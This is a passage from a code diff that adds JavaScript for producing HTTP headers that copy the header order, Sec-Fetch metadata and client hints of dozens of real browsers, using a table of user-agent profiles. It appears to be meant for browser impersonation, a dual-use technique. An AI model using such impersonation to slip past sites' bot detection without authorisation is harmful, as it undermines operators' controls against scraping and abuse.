return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "no-cors"], ["Sec-Fetch-Dest", "style"]];
|
|
431
|
+
case "script":
|
|
432
|
+
return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "no-cors"], ["Sec-Fetch-Dest", "script"]];
|
|
433
|
+
case "media":
|
|
434
|
+
return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "no-cors"], ["Sec-Fetch-Dest", "video"]];
|
|
435
|
+
case "eventsource":
|
|
436
|
+
return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "cors"], ["Sec-Fetch-Dest", "empty"]];
|
|
437
|
+
case "iframe":
|
|
438
|
+
return [["Sec-Fetch-Site", "cross-site"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-Dest", "iframe"]];
|
|
439
|
+
}
|
|
440
|
+
}
|
|
441
|
+
function acceptFor(kind, documentAccept) {
|
|
442
|
+
switch (kind) {
|
|
443
|
+
case "xhr":
|
|
444
|
+
case "cors":
|
|
445
|
+
return "*/*";
|
|
446
|
+
case "eventsource":
|
|
447
|
+
return "text/event-stream";
|
|
448
|
+
case "subresource":
|
|
449
|
+
return "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8";
|
|
450
|
+
case "stylesheet":
|
|
451
|
+
return "text/css,*/*;q=0.1";
|
|
452
|
+
case "script":
|
|
453
|
+
return "*/*";
|
|
454
|
+
case "media":
|
|
455
|
+
return "*/*";
|
|
456
|
+
default:
|
|
457
|
+
return documentAccept;
|
|
458
|
+
}
|
|
459
|
+
}
|
|
460
|
+
var isNavigation = (kind) => kind.endsWith("navigate") || kind === "form-post";
|
|
461
|
+
function conditional(options) {
|
|
462
|
+
const early = [];
|
|
463
|
+
const late = [];
|
|
464
|
+
if (options.reload === true) early.push(["Cache-Control", "max-age=0"]);
|
|
465
|
+
if (options.earlyData === true) early.push(["Early-Data", "1"]);
|
|
466
|
+
if (options.revalidate?.etag !== void 0) early.push(["If-None-Match", options.revalidate.etag]);
|
|
467
|
+
if (options.revalidate?.modifiedSince !== void 0) early.push(["If-Modified-Since", options.revalidate.modifiedSince]);
|
|
468
|
+
if (options.range !== void 0) early.push(["Range", options.range]);
|
|
469
|
+
if (options.dnt === true) late.push(["DNT", "1"]);
|
|
470
|
+
if (options.gpc === true) late.push(["Sec-GPC", "1"]);
|
|
471
|
+
if (options.saveData === true) late.push(["Save-Data", "on"]);
|
|
472
|
+
if (options.networkHints) {
|
|
473
|
+
late.push(["RTT", String(options.networkHints.rtt)], ["Downlink", String(options.networkHints.downlink)], ["ECT", options.networkHints.ect]);
|
|
474
|
+
}
|
|
475
|
+
if (options.layoutHints) {
|
|
476
|
+
late.push(["Viewport-Width", String(options.layoutHints.viewportWidth)], ["DPR", String(options.layoutHints.dpr)]);
|
|
477
|
+
}
|
|
478
|
+
if (options.prefetch === true) late.push(["Sec-Purpose", "prefetch"], ["Purpose", "prefetch"]);
|
|
479
|
+
return { early, late };
|
|
480
|
+
}
|
|
481
|
+
function body(options) {
|
|
482
|
+
if (options.contentType === void 0) return [];
|
|
483
|
+
const headers = [["Content-Type", options.contentType]];
|
|
484
|
+
if (options.contentLength !== void 0) headers.push(["Content-Length", String(options.contentLength)]);
|
|
485
|
+
return headers;
|
|
486
|
+
}
|
|
487
|
+
function chromiumBuild(brands) {
|
|
488
|
+
return (options, self) => {
|
|
489
|
+
const nav = isNavigation(options.kind);
|
|
490
|
+
const { early, late } = conditional(options);
|
|
491
|
+
const hints = [
|
|
492
|
+
["sec-ch-ua", brands.brands],
|
|
493
|
+
["sec-ch-ua-mobile", brands.mobile ? "?1" : "?0"],
|
|
494
|
+
["sec-ch-ua-platform", `"${brands.platform}"`]
|
|
495
|
+
];
|
|
496
|
+
if (options.highEntropyHints === true) {
|
|
497
|
+
hints.push(
|
|
498
|
+
["sec-ch-ua-full-version-list", brands.fullVersions],
|
|
499
|
+
["sec-ch-ua-platform-version", `"${brands.platformVersion}"`],
|
|
500
|
+
["sec-ch-ua-arch", `"${brands.arch ?? (brands.mobile ? "arm" : "x86")}"`],
|
|
501
|
+
["sec-ch-ua-bitness", `"${brands.bitness ?? "64"}"`],
|
|
502
|
+
["sec-ch-ua-model", `"${brands.model ?? ""}"`]
|
|
503
|
+
);
|
|
504
|
+
}
|
|
505
|
+
if (options.prefers?.colorScheme !== void 0) hints.push(["Sec-CH-Prefers-Color-Scheme", options.prefers.colorScheme]);
|
|
506
|
+
if (options.prefers?.reducedMotion !== void 0) hints.push(["Sec-CH-Prefers-Reduced-Motion", options.prefers.reducedMotion]);
|
|
507
|
+
return [
|
|
508
|
+
["Host", options.host],
|
|
509
|
+
["Connection", "keep-alive"],
|
|
510
|
+
...early,
|
|
511
|
+
...hints,
|
|
512
|
+
...nav ? [["Upgrade-Insecure-Requests", "1"]] : [],
|
|
513
|
+
["User-Agent", self.userAgent],
|
|
514
|
+
...options.origin !== void 0 ? [["Origin", options.origin]] : [],
|
|
515
|
+
...body(options),
|
|
516
|
+
["Accept", acceptFor(options.kind, self.acceptDocument)],
|
|
517
|
+
...fetchMetadata(options.kind),
|
|
518
|
+
...options.storageAccess !== void 0 ? [["Sec-Fetch-Storage-Access", options.storageAccess]] : [],
|
|
519
|
+
...options.referer !== void 0 ? [["Referer", options.referer]] : [],
|
|
520
|
+
["Accept-Encoding", self.acceptEncoding],
|
|
521
|
+
["Accept-Language", options.acceptLanguage],
|
|
522
|
+
...late,
|
|
523
|
+
["Priority", nav ? "u=0, i" : "u=1, i"],
|
|
524
|
+
...options.cookie !== void 0 ? [["Cookie", options.cookie]] : []
|
|
525
|
+
];
|
|
526
|
+
};
|
|
527
|
+
}
|
|
528
|
+
function geckoBuild(options, self) {
|
|
529
|
+
const nav = isNavigation(options.kind);
|
|
530
|
+
const { early, late } = conditional(options);
|
|
531
|
+
return [
|
|
532
|
+
["Host", options.host],
|
|
533
|
+
["User-Agent", self.userAgent],
|
|
534
|
+
["Accept", acceptFor(options.kind, self.acceptDocument)],
|
|
535
|
+
["Accept-Language", options.acceptLanguage],
|
|
536
|
+
["Accept-Encoding", self.acceptEncoding],
|
|
537
|
+
...options.referer !== void 0 ? [["Referer", options.referer]] : [],
|
|
538
|
+
...options.origin !== void 0 ? [["Origin", options.origin]] : [],
|
|
539
|
+
...body(options),
|
|
540
|
+
...late,
|
|
541
|
+
["Connection", "keep-alive"],
|
|
542
|
+
...options.cookie !== void 0 ? [["Cookie", options.cookie]] : [],
|
|
543
|
+
...early,
|
|
544
|
+
...nav ? [["Upgrade-Insecure-Requests", "1"]] : [],
|
|
545
|
+
...reorderForGecko(fetchMetadata(options.kind)),
|
|
546
|
+
["Priority", nav ? "u=0, i" : "u=4"],
|
|
547
|
+
["TE", "trailers"]
|
|
548
|
+
];
|
|
549
|
+
}
|
|
550
|
+
function reorderForGecko(headers) {
|
|
551
|
+
const order = ["Sec-Fetch-Dest", "Sec-Fetch-Mode", "Sec-Fetch-Site", "Sec-Fetch-User"];
|
|
552
|
+
return order.flatMap((name) => headers.filter(([header]) => header === name));
|
|
553
|
+
}
|
|
554
|
+
function webkitBuild(options, self) {
|
|
555
|
+
const metadata = new Map(fetchMetadata(options.kind));
|
|
556
|
+
const { early, late } = conditional(options);
|
|
557
|
+
return [
|
|
558
|
+
["Host", options.host],
|
|
559
|
+
...early,
|
|
560
|
+
...metadata.has("Sec-Fetch-Dest") ? [["Sec-Fetch-Dest", metadata.get("Sec-Fetch-Dest")]] : [],
|
|
561
|
+
["User-Agent", self.userAgent],
|
|
562
|
+
...options.origin !== void 0 ? [["Origin", options.origin]] : [],
|
|
563
|
+
...body(options),
|
|
564
|
+
["Accept", acceptFor(options.kind, self.acceptDocument)],
|
|
565
|
+
...metadata.has("Sec-Fetch-Site") ? [["Sec-Fetch-Site", metadata.get("Sec-Fetch-Site")]] : [],
|
|
566
|
+
["Accept-Language", options.acceptLanguage],
|
|
567
|
+
...metadata.has("Sec-Fetch-Mode") ? [["Sec-Fetch-Mode", metadata.get("Sec-Fetch-Mode")]] : [],
|
|
568
|
+
["Accept-Encoding", self.acceptEncoding],
|
|
569
|
+
...metadata.has("Sec-Fetch-User") ? [["Sec-Fetch-User", metadata.get("Sec-Fetch-User")]] : [],
|
|
570
|
+
...options.referer !== void 0 ? [["Referer", options.referer]] : [],
|
|
571
|
+
...late,
|
|
572
|
+
["Connection", "keep-alive"],
|
|
573
|
+
...options.cookie !== void 0 ? [["Cookie", options.cookie]] : []
|
|
574
|
+
];
|
|
575
|
+
}
|
|
576
|
+
function legacyWebkitBuild(options, self) {
|
|
577
|
+
const { early, late } = conditional(options);
|
|
578
|
+
return [
|
|
579
|
+
["Host", options.host],
|
|
580
|
+
...early,
|
|
581
|
+
["User-Agent", self.userAgent],
|
|
582
|
+
...body(options),
|
|
583
|
+
["Accept", acceptFor(options.kind, self.acceptDocument)],
|
|
584
|
+
["Accept-Language", options.acceptLanguage],
|
|
585
|
+
["Accept-Encoding", self.acceptEncoding],
|
|
586
|
+
...options.referer !== void 0 ? [["Referer", options.referer]] : [],
|
|
587
|
+
...late,
|
|
588
|
+
["Connection", "keep-alive"],
|
|
589
|
+
...options.cookie !== void 0 ? [["Cookie", options.cookie]] : []
|
|
590
|
+
];
|
|
591
|
+
}
|
|
592
|
+
var CHROME_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7";
|
|
593
|
+
var FIREFOX_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8";
|
|
594
|
+
var SAFARI_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
|
|
595
|
+
var LEGACY_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
|
|
596
|
+
function chromium(version, fullVersion, platform, platformVersion, mobile, extra) {
|
|
597
|
+
return {
|
|
598
|
+
brands: `"Not(A:Brand";v="99", "Google Chrome";v="${version}", "Chromium";v="${version}"`,
|
|
599
|
+
fullVersions: `"Not(A:Brand";v="99.0.0.0", "Google Chrome";v="${fullVersion}", "Chromium";v="${fullVersion}"`,
|
|
600
|
+
platform,
|
|
601
|
+
platformVersion,
|
|
602
|
+
mobile,
|
|
603
|
+
...extra
|
|
604
|
+
};
|
|
605
|
+
}
|
|
606
|
+
var PROFILES = {
|
|
607
|
+
// ---- Chromium desktop ----
|
|
608
|
+
chromeWindows: {
|
|
609
|
+
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36",
|
|
610
|
+
acceptDocument: CHROME_ACCEPT,
|
|
611
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
612
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
613
|
+
build: chromiumBuild(chromium("152", "152.0.7258.67", "Windows", "15.0.0", false))
|
|
614
|
+
},
|
|
615
|
+
chromeMac: {
|
|
616
|
+
userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36",
|
|
617
|
+
acceptDocument: CHROME_ACCEPT,
|
|
618
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
619
|
+
acceptLanguage: "en-GB,en-US;q=0.9,en;q=0.8",
|
|
620
|
+
build: chromiumBuild(chromium("152", "152.0.7258.67", "macOS", "15.6.0", false, { arch: "arm" }))
|
|
621
|
+
},
|
|
622
|
+
chromeLinux: {
|
|
623
|
+
userAgent: "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36",
|
|
624
|
+
acceptDocument: CHROME_ACCEPT,
|
|
625
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
626
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
627
|
+
build: chromiumBuild(chromium("152", "152.0.7258.67", "Linux", "6.11.0", false))
|
|
628
|
+
},
|
|
629
|
+
chromeChromeOs: {
|
|
630
|
+
userAgent: "Mozilla/5.0 (X11; CrOS x86_64 15886.69.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36",
|
|
631
|
+
acceptDocument: CHROME_ACCEPT,
|
|
632
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
633
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
634
|
+
build: chromiumBuild(chromium("151", "151.0.7204.183", "Chrome OS", "15886.69.0", false))
|
|
635
|
+
},
|
|
636
|
+
edgeWindows: {
|
|
637
|
+
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0",
|
|
638
|
+
acceptDocument: CHROME_ACCEPT,
|
|
639
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
640
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
641
|
+
build: chromiumBuild({
|
|
642
|
+
brands: '"Microsoft Edge";v="150", "Not(A:Brand";v="24", "Chromium";v="150"',
|
|
643
|
+
fullVersions: '"Microsoft Edge";v="150.0.3296.62", "Not(A:Brand";v="24.0.0.0", "Chromium";v="150.0.7061.181"',
|
|
644
|
+
platform: "Windows",
|
|
645
|
+
platformVersion: "15.0.0",
|
|
646
|
+
mobile: false
|
|
647
|
+
})
|
|
648
|
+
},
|
|
649
|
+
edgeMac: {
|
|
650
|
+
userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0",
|
|
651
|
+
acceptDocument: CHROME_ACCEPT,
|
|
652
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
653
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
654
|
+
build: chromiumBuild({
|
|
655
|
+
brands: '"Microsoft Edge";v="150", "Not(A:Brand";v="24", "Chromium";v="150"',
|
|
656
|
+
fullVersions: '"Microsoft Edge";v="150.0.3296.62", "Not(A:Brand";v="24.0.0.0", "Chromium";v="150.0.7061.181"',
|
|
657
|
+
platform: "macOS",
|
|
658
|
+
platformVersion: "15.6.0",
|
|
659
|
+
mobile: false
|
|
660
|
+
})
|
|
661
|
+
},
|
|
662
|
+
operaWindows: {
|
|
663
|
+
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 OPR/135.0.0.0",
|
|
664
|
+
acceptDocument: CHROME_ACCEPT,
|
|
665
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
666
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
667
|
+
build: chromiumBuild({
|
|
668
|
+
brands: '"Chromium";v="149", "Not(A:Brand";v="24", "Opera";v="135"',
|
|
669
|
+
fullVersions: '"Chromium";v="149.0.7003.108", "Not(A:Brand";v="24.0.0.0", "Opera";v="135.0.6312.44"',
|
|
670
|
+
platform: "Windows",
|
|
671
|
+
platformVersion: "15.0.0",
|
|
672
|
+
mobile: false
|
|
673
|
+
})
|
|
674
|
+
},
|
|
675
|
+
vivaldiWindows: {
|
|
676
|
+
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Vivaldi/7.6.3797.48",
|
|
677
|
+
acceptDocument: CHROME_ACCEPT,
|
|
678
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
679
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
680
|
+
build: chromiumBuild({
|
|
681
|
+
brands: '"Chromium";v="148", "Not(A:Brand";v="24", "Vivaldi";v="7.6"',
|
|
682
|
+
fullVersions: '"Chromium";v="148.0.6873.120", "Not(A:Brand";v="24.0.0.0", "Vivaldi";v="7.6.3797.48"',
|
|
683
|
+
platform: "Windows",
|
|
684
|
+
platformVersion: "15.0.0",
|
|
685
|
+
mobile: false
|
|
686
|
+
})
|
|
687
|
+
},
|
|
688
|
+
/** Brave presents an unmodified Chrome identity by design, and adds Sec-GPC. */
|
|
689
|
+
braveWindows: {
|
|
690
|
+
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36",
|
|
691
|
+
acceptDocument: CHROME_ACCEPT,
|
|
692
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
693
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
694
|
+
build: chromiumBuild(chromium("152", "152.0.0.0", "Windows", "15.0.0", false))
|
|
695
|
+
},
|
|
696
|
+
yandexWindows: {
|
|
697
|
+
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 YaBrowser/25.8.0.0 Safari/537.36",
|
|
698
|
+
acceptDocument: CHROME_ACCEPT,
|
|
699
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
700
|
+
acceptLanguage: "ru,en;q=0.9",
|
|
701
|
+
build: chromiumBuild({
|
|
702
|
+
brands: '"Chromium";v="146", "YaBrowser";v="25.8", "Not(A:Brand";v="24", "Yowser";v="2.5"',
|
|
703
|
+
fullVersions: '"Chromium";v="146.0.6664.111", "YaBrowser";v="25.8.0.1234", "Not(A:Brand";v="24.0.0.0"',
|
|
704
|
+
platform: "Windows",
|
|
705
|
+
platformVersion: "15.0.0",
|
|
706
|
+
mobile: false
|
|
707
|
+
})
|
|
708
|
+
},
|
|
709
|
+
// ---- Gecko ----
|
|
710
|
+
firefoxWindows: {
|
|
711
|
+
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0",
|
|
712
|
+
acceptDocument: FIREFOX_ACCEPT,
|
|
713
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
714
|
+
acceptLanguage: "en-US,en;q=0.5",
|
|
715
|
+
build: geckoBuild
|
|
716
|
+
},
|
|
717
|
+
firefoxMac: {
|
|
718
|
+
userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0",
|
|
719
|
+
acceptDocument: FIREFOX_ACCEPT,
|
|
720
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
721
|
+
acceptLanguage: "en-GB,en;q=0.5",
|
|
722
|
+
build: geckoBuild
|
|
723
|
+
},
|
|
724
|
+
firefoxLinux: {
|
|
725
|
+
userAgent: "Mozilla/5.0 (X11; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0",
|
|
726
|
+
acceptDocument: FIREFOX_ACCEPT,
|
|
727
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
728
|
+
acceptLanguage: "de-DE,de;q=0.8,en-US;q=0.5,en;q=0.3",
|
|
729
|
+
build: geckoBuild
|
|
730
|
+
},
|
|
731
|
+
firefoxEsr: {
|
|
732
|
+
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0",
|
|
733
|
+
acceptDocument: FIREFOX_ACCEPT,
|
|
734
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
735
|
+
acceptLanguage: "en-US,en;q=0.5",
|
|
736
|
+
build: geckoBuild
|
|
737
|
+
},
|
|
738
|
+
firefoxAndroid: {
|
|
739
|
+
userAgent: "Mozilla/5.0 (Android 15; Mobile; rv:148.0) Gecko/148.0 Firefox/148.0",
|
|
740
|
+
acceptDocument: FIREFOX_ACCEPT,
|
|
741
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
742
|
+
acceptLanguage: "en-GB,en;q=0.5",
|
|
743
|
+
build: geckoBuild
|
|
744
|
+
},
|
|
745
|
+
// ---- WebKit ----
|
|
746
|
+
safariMac: {
|
|
747
|
+
userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15",
|
|
748
|
+
acceptDocument: SAFARI_ACCEPT,
|
|
749
|
+
acceptEncoding: "gzip, deflate, br",
|
|
750
|
+
acceptLanguage: "en-GB,en;q=0.9",
|
|
751
|
+
build: webkitBuild
|
|
752
|
+
},
|
|
753
|
+
safariIos: {
|
|
754
|
+
userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1",
|
|
755
|
+
acceptDocument: SAFARI_ACCEPT,
|
|
756
|
+
acceptEncoding: "gzip, deflate, br",
|
|
757
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
758
|
+
build: webkitBuild
|
|
759
|
+
},
|
|
760
|
+
safariIpad: {
|
|
761
|
+
userAgent: "Mozilla/5.0 (iPad; CPU OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1",
|
|
762
|
+
acceptDocument: SAFARI_ACCEPT,
|
|
763
|
+
acceptEncoding: "gzip, deflate, br",
|
|
764
|
+
acceptLanguage: "en-GB,en;q=0.9",
|
|
765
|
+
build: webkitBuild
|
|
766
|
+
},
|
|
767
|
+
/** Chrome on iOS is WebKit underneath — the engine, and so the header order, is Safari's. */
|
|
768
|
+
chromeIos: {
|
|
769
|
+
userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/152.0.7258.60 Mobile/15E148 Safari/604.1",
|
|
770
|
+
acceptDocument: SAFARI_ACCEPT,
|
|
771
|
+
acceptEncoding: "gzip, deflate, br",
|
|
772
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
773
|
+
build: webkitBuild
|
|
774
|
+
},
|
|
775
|
+
firefoxIos: {
|
|
776
|
+
userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/140.0 Mobile/15E148 Safari/605.1.15",
|
|
777
|
+
acceptDocument: SAFARI_ACCEPT,
|
|
778
|
+
acceptEncoding: "gzip, deflate, br",
|
|
779
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
780
|
+
build: webkitBuild
|
|
781
|
+
},
|
|
782
|
+
edgeIos: {
|
|
783
|
+
userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 EdgiOS/150.0.3296.60 Mobile/15E148 Safari/605.1.15",
|
|
784
|
+
acceptDocument: SAFARI_ACCEPT,
|
|
785
|
+
acceptEncoding: "gzip, deflate, br",
|
|
786
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
787
|
+
build: webkitBuild
|
|
788
|
+
},
|
|
789
|
+
duckduckgoIos: {
|
|
790
|
+
userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1 DuckDuckGo/7",
|
|
791
|
+
acceptDocument: SAFARI_ACCEPT,
|
|
792
|
+
acceptEncoding: "gzip, deflate, br",
|
|
793
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
794
|
+
build: webkitBuild
|
|
795
|
+
},
|
|
796
|
+
// ---- Chromium mobile ----
|
|
797
|
+
chromeAndroid: {
|
|
798
|
+
userAgent: "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36",
|
|
799
|
+
acceptDocument: CHROME_ACCEPT,
|
|
800
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
801
|
+
acceptLanguage: "en-GB,en;q=0.9",
|
|
802
|
+
build: chromiumBuild(chromium("150", "150.0.7061.181", "Android", "15.0.0", true, { model: "Pixel 9" }))
|
|
803
|
+
},
|
|
804
|
+
chromeAndroidTablet: {
|
|
805
|
+
userAgent: "Mozilla/5.0 (Linux; Android 15; SM-X910) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36",
|
|
806
|
+
acceptDocument: CHROME_ACCEPT,
|
|
807
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
808
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
809
|
+
build: chromiumBuild(chromium("150", "150.0.7061.181", "Android", "15.0.0", false, { model: "SM-X910" }))
|
|
810
|
+
},
|
|
811
|
+
samsungInternet: {
|
|
812
|
+
userAgent: "Mozilla/5.0 (Linux; Android 15; SM-S938B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/29.0 Chrome/147.0.0.0 Mobile Safari/537.36",
|
|
813
|
+
acceptDocument: CHROME_ACCEPT,
|
|
814
|
+
acceptEncoding: "gzip, deflate, br",
|
|
815
|
+
acceptLanguage: "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
|
|
816
|
+
build: chromiumBuild({
|
|
817
|
+
brands: '"Chromium";v="147", "Not(A:Brand";v="24", "Samsung Internet";v="29.0"',
|
|
818
|
+
fullVersions: '"Chromium";v="147.0.6929.94", "Not(A:Brand";v="24.0.0.0", "Samsung Internet";v="29.0.0.0"',
|
|
819
|
+
platform: "Android",
|
|
820
|
+
platformVersion: "15.0.0",
|
|
821
|
+
mobile: true,
|
|
822
|
+
model: "SM-S938B"
|
|
823
|
+
})
|
|
824
|
+
},
|
|
825
|
+
operaAndroid: {
|
|
826
|
+
userAgent: "Mozilla/5.0 (Linux; Android 14; CPH2451) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36 OPR/91.0.0.0",
|
|
827
|
+
acceptDocument: CHROME_ACCEPT,
|
|
828
|
+
acceptEncoding: "gzip, deflate, br",
|
|
829
|
+
acceptLanguage: "id-ID,id;q=0.9,en-US;q=0.8",
|
|
830
|
+
build: chromiumBuild({
|
|
831
|
+
brands: '"Chromium";v="146", "Not(A:Brand";v="24", "Opera";v="91"',
|
|
832
|
+
fullVersions: '"Chromium";v="146.0.6664.111", "Not(A:Brand";v="24.0.0.0", "Opera";v="91.0.4516.22"',
|
|
833
|
+
platform: "Android",
|
|
834
|
+
platformVersion: "14.0.0",
|
|
835
|
+
mobile: true,
|
|
836
|
+
model: "CPH2451"
|
|
837
|
+
})
|
|
838
|
+
},
|
|
839
|
+
edgeAndroid: {
|
|
840
|
+
userAgent: "Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36 EdgA/150.0.3296.60",
|
|
841
|
+
acceptDocument: CHROME_ACCEPT,
|
|
842
|
+
acceptEncoding: "gzip, deflate, br, zstd",
|
|
843
|
+
acceptLanguage: "en-US,en;q=0.9",
|
|
844
|
+
build: chromiumBuild({
|
|
845
|
+
brands: '"Microsoft Edge";v="150", "Not(A:Brand";v="24", "Chromium";v="150"',
|
|
846
|
+
fullVersions: '"Microsoft Edge";v="150.0.3296.60", "Not(A:Brand";v="24.0.0.0", "Chromium";v="150.0.7061.181"',
|
|
847
|
+
platform: "Android",
|
|
848
|
+
platformVersion: "15.0.0",
|
|
849
|
+
mobile: true,
|
|
850
|
+
model: "Pixel 9"
|
|
851
|
+
})
|
|
852
|
+
},
|
|
853
|
+
/** UC Browser — very large user base across South and Southeast Asia. */
|
|
854
|
+
ucBrowser: {
|
|
855
|
+
userAgent: "Mozilla/5.0 (Linux; U; Android 13; en-IN; RMX3771 Build/TP1A.220905.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/100.0.4896.58 UCBrowser/13.7.5.1329 Mobile Safari/537.36",
|
|
856
|
+
acceptDocument: LEGACY_ACCEPT,
|
|
857
|
+
acceptEncoding: "gzip, deflate",
|
|
858
|
+
acceptLanguage: "en-IN,en-US;q=0.9,en;q=0.8,hi;q=0.7",
|
|
859
|
+
build: legacyWebkitBuild
|
|
860
|
+
},
|
|
861
|
+
miBrowser: {
|
|
862
|
+
userAgent: "Mozilla/5.0 (Linux; U; Android 14; en-in; 23049PCD8I Build/UKQ1.230917.001) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Chrome/125.0.6422.165 Mobile Safari/533.1 XiaoMi/MiuiBrowser/19.4.220521",
|
|
863
|
+
acceptDocument: LEGACY_ACCEPT,
|
|
864
|
+
acceptEncoding: "gzip, deflate",
|
|
865
|
+
acceptLanguage: "en-IN,en;q=0.9",
|
|
866
|
+
build: legacyWebkitBuild
|
|
867
|
+
},
|
|
868
|
+
huaweiBrowser: {
|
|
869
|
+
userAgent: "Mozilla/5.0 (Linux; Android 12; ELS-NX9; HMSCore 6.14.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.186 HuaweiBrowser/15.0.5.310 Mobile Safari/537.36",
|
|
870
|
+
acceptDocument: CHROME_ACCEPT,
|
|
871
|
+
acceptEncoding: "gzip, deflate, br",
|
|
872
|
+
acceptLanguage: "zh-CN,zh;q=0.9,en;q=0.8",
|
|
873
|
+
build: legacyWebkitBuild
|
|
874
|
+
},
|
|
875
|
+
qqBrowser: {
|
|
876
|
+
